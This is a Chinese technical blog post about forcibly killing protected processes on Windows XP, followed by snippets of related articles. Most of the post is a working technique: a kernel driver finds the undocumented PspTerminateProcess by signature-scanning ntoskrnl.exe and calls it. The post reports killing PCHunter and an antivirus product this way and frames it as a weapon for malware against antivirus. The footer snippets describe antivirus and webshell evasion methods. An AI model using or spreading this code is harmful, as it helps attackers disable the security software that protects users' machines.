【技术分享】初探进程强杀

VSole2022-01-06 16:45:21

 

00前言

进程保护可以通过三环hook,诸如inline hook,IAT hook,不过在三环的hook都是雕虫小计,很轻松的就可以发现被发现,一些AV或者EDR往往三环是没有钩子的。3环的病毒面对0环的反病毒往往是显得弱小不堪,于是病毒也跳到0环,与反病毒公平展开博弈。

01ZwTerminateProcess

这是一个微软已经文档化了的内核API,能够杀死一个其他的进程和它所对应的全部线程。

NTSYSAPI NTSTATUS ZwTerminateProcess(  [in, optional] HANDLE   ProcessHandle,  [in]           NTSTATUS ExitStatus);

只需要传入一个进程句柄和一个退出码,就可以杀死一个进程。那么可想而知,如果病毒调用这个内核api,即可杀死所有反病毒进程,但攻防不断对抗,反病毒程序当然知道你要通过这个api就可以杀死我,于是就在内核下hook了这个api,如果结束的进程是我自己,我就不允许结束。

病毒自然也是不服气,冥思苦想想到了新的办法。

02PspTerminateProcess

这也是一个内核API,我们去微软官网查这个函数。

可以看到是没有这个函数的文档的,但他存在吗,难道是别人杜撰的?

不服气的我去问windbg,windbg是通过pdb文件去解析的,能告诉我们很多不为人知的秘密。

u PspTerminateProcess l40

还真有,经过大佬指点,原来这是微软偷偷自己在用的函数,并且没有给我们说,但他确实是存在的,这叫未文档化函数。

那么如果我们想要调用这个函数怎么办呢?windbg可以通过pdb文件找到这个函数,我们则可以通过另外的方式找到他。

1.暴力搜索,提取该函数的特征码,全盘搜索。

2.如果有已文档化的函数调用了PspTerminateProcess,那我们就可以通过指针加偏移的方式获取到他的地址,同样可以调用。

本文就只讲述第一种方式,提取特征码后暴力搜索。

暴力搜索

暴力搜索首先是要明确搜什么,在哪搜。

在哪搜

在哪搜索这个是比较明确的,内核的api大概率都在ntoskrnl.exe中。

那怎么获取到ntoskrnl.exe的基址和大小呢?通过内核模块遍历就可以。

驱动函数入口的第一个参数指向的是DRIVER_OBJECT结构体。

kd> dt _DRIVER_OBJECT

在+0x014的位置,名为DriverSection的成员,指向的也是一个结构体_LDR_DATA_TABLE_ENTRY

kd> dt _LDR_DATA_TABLE_ENTRY

这个结构体详细的说明了当前模块的一些信息,在偏移为0的位置名为InLoadOrderLinks,通过名字来看也知道他是一个链表,实际上是通过这个链表将所有的模块都串在一起。

kd> dt _LIST_ENTRY

通过这个链表我们可以获取到其他所有模块的信息,自然也就能够获得ntoskrnl.exe模块的信息。

基址和大小就在下面两个成员里。

搜什么

自然是搜索特征码,那么这个特征码怎么提呢?

kd> u pspterminateprocess l40nt!PspTerminateProcess:805c9da4 8bff            mov     edi,edi805c9da6 55              push    ebp805c9da7 8bec            mov     ebp,esp805c9da9 56              push    esi805c9daa 64a124010000    mov     eax,dword ptr fs:[00000124h]805c9db0 8b7508          mov     esi,dword ptr [ebp+8]805c9db3 3b7044          cmp     esi,dword ptr [eax+44h]805c9db6 7507            jne     nt!PspTerminateProcess+0x1b (805c9dbf)805c9db8 b80d0000c0      mov     eax,0C000000Dh805c9dbd eb5a            jmp     nt!PspTerminateProcess+0x75 (805c9e19)805c9dbf 57              push    edi805c9dc0 8dbe48020000    lea     edi,[esi+248h]805c9dc6 f6470120        test    byte ptr [edi+1],20h805c9dca 7412            je      nt!PspTerminateProcess+0x3a (805c9dde)805c9dcc 8d8674010000    lea     eax,[esi+174h]805c9dd2 50              push    eax805c9dd3 56              push    esi805c9dd4 68769d5c80      push    offset nt!NtTerminateProcess+0x14c (805c9d76)805c9dd9 e896eeffff      call    nt!PspCatchCriticalBreak (805c8c74)805c9dde 6a08            push    8805c9de0 58              pop     eax805c9de1 f00907          lock or dword ptr [edi],eax805c9de4 6a00            push    0805c9de6 56              push    esi805c9de7 e88a4f0000      call    nt!PsGetNextProcessThread (805ced76)805c9dec 8bf8            mov     edi,eax805c9dee 85ff            test    edi,edi805c9df0 741e            je      nt!PspTerminateProcess+0x6c (805c9e10)805c9df2 ff750c          push    dword ptr [ebp+0Ch]805c9df5 57              push    edi805c9df6 e807fdffff      call    nt!PspTerminateThreadByPointer (805c9b02)805c9dfb 57              push    edi805c9dfc 56              push    esi805c9dfd e8744f0000      call    nt!PsGetNextProcessThread (805ced76)805c9e02 8bf8            mov     edi,eax805c9e04 85ff            test    edi,edi805c9e06 75ea            jne     nt!PspTerminateProcess+0x4e (805c9df2)805c9e08 3986bc000000    cmp     dword ptr [esi+0BCh],eax805c9e0e 7406            je      nt!PspTerminateProcess+0x72 (805c9e16)805c9e10 56              push    esi805c9e11 e8baf5feff      call    nt!ObClearProcessHandleTable (805b93d0)805c9e16 33c0            xor     eax,eax805c9e18 5f              pop     edi805c9e19 5e              pop     esi805c9e1a 5d              pop     ebp805c9e1b c20800          ret     8805c9e1e cc              int     3805c9e1f cc              int     3805c9e20 cc              int     3805c9e21 cc              int     3805c9e22 cc              int     3805c9e23 cc              int     3

我们可以将上面所有的硬编码都提取出来,然后再进行搜索,但是这样有意义么,或者意义大吗?

显然,特征码只需要提取其中一小块就可以达到效果。比如805c9db0那个位置上,就可以提取4个字节的特征码,因为并不是所有的api都会把ebp+8中存储的值放到esi中,是比较小众的。但光这四个字节是说明不了问题的,所以还要加一些特征码。

加一些特征码并不意味着连续,最好的方式就是隔一段代码,再提取,我们只需要判断相对偏移地址上的硬编码是不是与特征码相同就行了。按照这个思路,我这里提取了三段。

ULONG str1 = 0x3b08758b;ULONG str2 = 0x0248be8d;ULONG str3 = 0x0174868d;

03代码实现

首先需要定义一个_LDR_DATA_TABLE_ENTRY结构体。

typedef struct _LDR_DATA_TABLE_ENTRY{    LIST_ENTRY InLoadOrderLinks;    LIST_ENTRY InMemoryOrderLinks;    LIST_ENTRY InInitializationOrderLinks;    ULONG DllBase;    ULONG EntryPoint;    ULONG SizeOfImage;    UNICODE_STRING FullDllName;    UNICODE_STRING BaseDllName;    ULONG Flags;    USHORT LoadCount;    USHORT TlsIndex;    LIST_ENTRY HashLinks;    ULONG SectionPointer;    ULONG CheckSum;    ULONG TimeDateStamp;    ULONG LoadedImports;    ULONG EntryPointActivationContext;    ULONG PatchInformation;
}LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;

通过遍历模块找到ntoskrnl.exe的基址和大小,有了这两个值就可以搜索了。

UNICODE_STRING ntoskrnl = { 0 };RtlInitUnicodeString(&ntoskrnl, L"ntoskrnl.exe");
PLDR_DATA_TABLE_ENTRY PMoudleLinkDriver = (PLDR_DATA_TABLE_ENTRY)pDriver->DriverSection;//DbgPrint("%ws", PMoudleLinkDriver->BaseDllName.Buffer);PLDR_DATA_TABLE_ENTRY PMoudleLinkDriverNext = PMoudleLinkDriver;
LONG x = RtlCompareUnicodeString(&(PMoudleLinkDriver->BaseDllName), &ntoskrnl, TRUE);
while (x != 0){    PMoudleLinkDriverNext = (PLDR_DATA_TABLE_ENTRY)PMoudleLinkDriverNext->InLoadOrderLinks.Flink;    x = RtlCompareUnicodeString(&(PMoudleLinkDriverNext->BaseDllName), &ntoskrnl, TRUE);}ULONG pNtoskrnlBase = PMoudleLinkDriverNext->DllBase;ULONG pNtoskrnlLimit = PMoudleLinkDriverNext->SizeOfImage;

搜索代码,遍历整个ntoskrnl.exe的硬编码。特征码就是上面提取到的三组12字节的硬编码。

for (ULONG i = pNtoskrnlBase;i< pNtoskrnlBase + pNtoskrnlLimit; i++)    {        //DbgPrint("%x", *(PULONG)i);        if (*(PULONG)i == str1)        {            if (*(PULONG)(i + 0x10) == str2)            {                if (*(PULONG)(i + 0x1c) == str3)                {                    PspTerminateProcess = (funcPspTerminateProcess)(i - 0xc);                    break;                }            }        }
    }

定义函数指针,我们需要有这个函数指针去执行这个函数。

typedef NTSTATUS(*funcPspTerminateProcess)(PEPROCESS process, NTSTATUS ExitStatus);

函数的第一个参数是PEPROCESS类型的,可以通过PsLookupProcessByProcessId函数获得。

PEPROCESS pEprocesszz = NULL;NTSTATUS status = PsLookupProcessByProcessId((HANDLE)1232, &pEprocesszz);if (status != STATUS_SUCCESS) {    DbgPrint(TEXT("获取进程的PEPROCESS失败"));    return status;}

第二个参数是out型参数,会返回一个PEPROCESS结构体,第一个参数传入一个pid就可以了。

最后判断一下是否杀死了。

status = PspTerminateProcess(pEprocesszz,0);if (status != STATUS_SUCCESS){    DbgPrint(TEXT("杀死进程失败"));}DbgPrint(TEXT("杀死进程成功"));

04效果展示

选择要强杀的进程是pchunter.exe。这种内核工具具有一定保护自身的功能。在用户层甚至看不到用户名。

我们尝试直接结束。果然是不行的。

加载我们自己的驱动试试。

运行驱动瞬间,pchunter被结束掉了。

这里有同学就说了,你杀个pchunter干什么?于是我下了个某av。最新版的。

尝试结束其中一个进程。

加载我们自己的驱动。

05后记

不同os的PspTerminateProcess函数名已经发生变化,感兴趣的同学自行拓展,本文的os是xp。

同样可以自行挖掘,未导出文档函数还有很多,都将成为对抗利器。

特征码
本作品采用《CC 协议》,转载必须注明作者和本文链接
特征免杀
2023-01-16 10:39:39
特征又称电脑病毒特征,它主要由反病毒公司制作,一般都是被反病毒软件公司确定为只有该病毒才可能会有的一串二进制字符串,而这字符串通常是文件里对应程式码或汇编指令的地址。杀毒软件会将这一串二进制字符串用某种方法与目标文件或处理程序作对比,从而判定该文件或进程是否感染病毒。
前言提到webshell免杀,方法无外乎对静态特征的变形,编码,或利用语言特性绕过。计算机中有很多符号,它们在编程语言中占据一席之地,这些符号作为运算符号,标识符号或起到特殊含义。本文以PHP为例介绍一些利用符号免杀方法。免杀WAF检测通过对安全狗、护卫神、D盾等常见软WAF的测试,发现WAF查杀主要依赖两种检测方法1.静态检测:通过匹配特征来查找webshell。如危险函数,文件特征等。例如 ${$my_var[8]}与${$my_var}[8]的区分${xxx} 括起来的要当成变量处理。
Bypass_AV msf免杀,ShellCode免杀加载器 ,免杀shellcode执行程序 ,360&火绒&Windows Defender代码够简单,估计要不了多久就进特征库了,被杀了再去改几个特征照样又可以免杀,作者的github保持更新,可以去瞅瞅。测试可以免杀国内杀软?注意:ShellCode 需要是64位的加载器将生成的ShellCode 填至 Bypass_AV.py 里的 ShellCode = '''ShellCode''' 处注意:保留原始ShellCode 里的双引号 "示例:最终格式:打包成可执行程序编译Python 3.8.6pyinstaller 4.7pip install pyinstaller
webshell免杀之传参方式及特征绕过传参方式 在这里解释一下为什么,需要讲述传参方式,由于在很多情况下,以请求头作为参数传递并非waf和人工排查的重中之重且非常误导和隐藏
而且Mimikatz这些知名工具的内容像mimikatz、作者信息之类的字符串就很容易被做为特征识别。可以利用Visual Studio的替换功能实现关键字的处理。
杀软及免杀原理
2021-12-02 06:21:50
将内存、文件扫描出的特征信息与病毒特征数据库进行对比。(存在黑白名单)
免杀知识汇总
2021-08-25 23:11:00
免杀知识汇总
CS免杀姿势
2022-08-02 16:42:30
花指令免杀,在程序 shellcode 或特征代码区域增添垃圾指令,增加的垃圾指令不会影响文件执行,在动态查杀或者文件hash对比是校验会不一致。加壳,比如upx加壳等,一般文件落地后对比哈希值也可绕过杀软。二次编译,一般用于对shellcode进行二次编译bypass杀软。安装火绒,查杀CS上线加壳另外再加壳测试。赛门铁克也未报毒,其它杀软不放图了。
因前段时间退出了内网的学习,现在开始复习web方面的漏洞了,于是乎,开始了挖洞之旅,当我像往常一样上传冰蝎的webhsell时,发现冰蝎的子居然被杀了.......于是便有了该文章.....
VSole
网络安全专家